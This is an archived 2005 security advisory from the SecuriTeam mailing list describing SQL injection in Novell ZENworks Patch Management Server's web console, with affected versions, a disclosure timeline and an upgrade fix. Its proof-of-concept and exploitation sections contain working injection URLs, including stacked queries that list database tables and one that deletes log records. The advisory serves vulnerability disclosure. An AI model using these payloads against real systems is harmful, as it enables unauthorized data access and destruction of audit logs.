[NT] Novell ZENworks Patch Management Server SQL injection

From: SecuriTeam (support_at_securiteam.com)
Date: 11/02/05

  • Next message: SecuriTeam: "[TOOL] Multispoof - Parallel Spoofing for Throughput Increase" 
    To: list@securiteam.com
Date: 2 Nov 2005 09:40:31 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Novell ZENworks Patch Management Server SQL injection
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.novell.com/products/zenworks/> ZENworks Suite "automates and
    enforces business and IT managment processes across the lifecycle of
    desktops, laptops, servers and handhelds to control costs, ensure security
    and compliance, optimize the value of IT assets across diverse server and
    client platforms".

    The Novell ZENworks Patch Management Server is vulnerable to SQL injection
    in the management console.

    DETAILS

    Vulnerable Systems:
     * Novell ZENworks Patch Management Server version 6.0.0.52

    Immune Systems:
     * Novell ZENworks Patch Management Server 6.2.2.181 or newer

    Proof of Concept:
    http://192.168.1.10/computers/default.asp?sort=&Direction=';

    Response from server: Incorrect syntax near ', @RecsPerPage=100,
    @FirstRec=0, @Action=0, @Search = ', @groupFilter = '.

    http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc
    &SearchText=';StatusFilter=ERRR
    &computerFilter=187&impactFilter=29&saveFilter=save&Page=rep

    Response from server: Incorrecy syntax near ', @delimiter='.

    http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc
    &SearchText=CIRT.DK &StatusFilter=';&computerFilter=187&impactFilter=29
    &saveFilter=save&Page=rep

    Response from server: Incorrect syntax near ', @groupFilter = ',
    @ImpactFilter = '.

    http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc
    &SearchText=CIRT.DK &StatusFilter=ERRR&computerFilter=';&impactFilter=29
    &saveFilter=save&Page=rep

    Response from server: Line 1: Incorrect syntax near ', @Contact_ID='.

    Exploitation examples:
    http://192.168.1.10/computers/default.asp?sort=&Direction=;select
    *+from+testclient.master.dbo.sysobjects

    http://192.168.1.10/computers/default.asp?sort=&Direction=;select
    *+from+OPENQUERY+(+[testclient],+"select+@@version;+delete+from+logs")

    Server 'testclient' is not configured for DATA ACCESS. [2]

    http://192.168.1.10/computers/default.asp?sort=&Direction=;SELECT
    name+FROM+sysobjects+WHERE+xtype+=+"U"

    http://192.168.1.10/computers/default.asp?sort=&Direction=;select
    *+from+OPENQUERY+(+[testclient],+"select+@@version;+delete+from+logs")

    Server 'testclient' is not configured for DATA ACCESS.

    Solution:
    Upgrade to ZENworks Patch Management version 6.2.2.181 (or newer hot fix
    via your PLUS server) found at <http://download.novell.com>
    http://download.novell.com.

    Timeline of public disclosure:
    01-10-2005 Vulnerability discovered
    11-10-2005 Research completed
    12-10-2005 Sent information to Novell (secure@novell.com)
    12-10-2005 Information sent to CERT/CC (cert@cert.org)
    12-10-2005 CERT/CC responds with VU#536300
    13-10-2005 Response from Novell
    27-10-2005 Public Release

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:advisory@cirt.dk> Dennis
    Rand.
    The original article can be found at:
    <http://www.cirt.dk/advisories/cirt-39-advisory.pdf>
    http://www.cirt.dk/advisories/cirt-39-advisory.pdf

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] Multispoof - Parallel Spoofing for Throughput Increase"

    Relevant Pages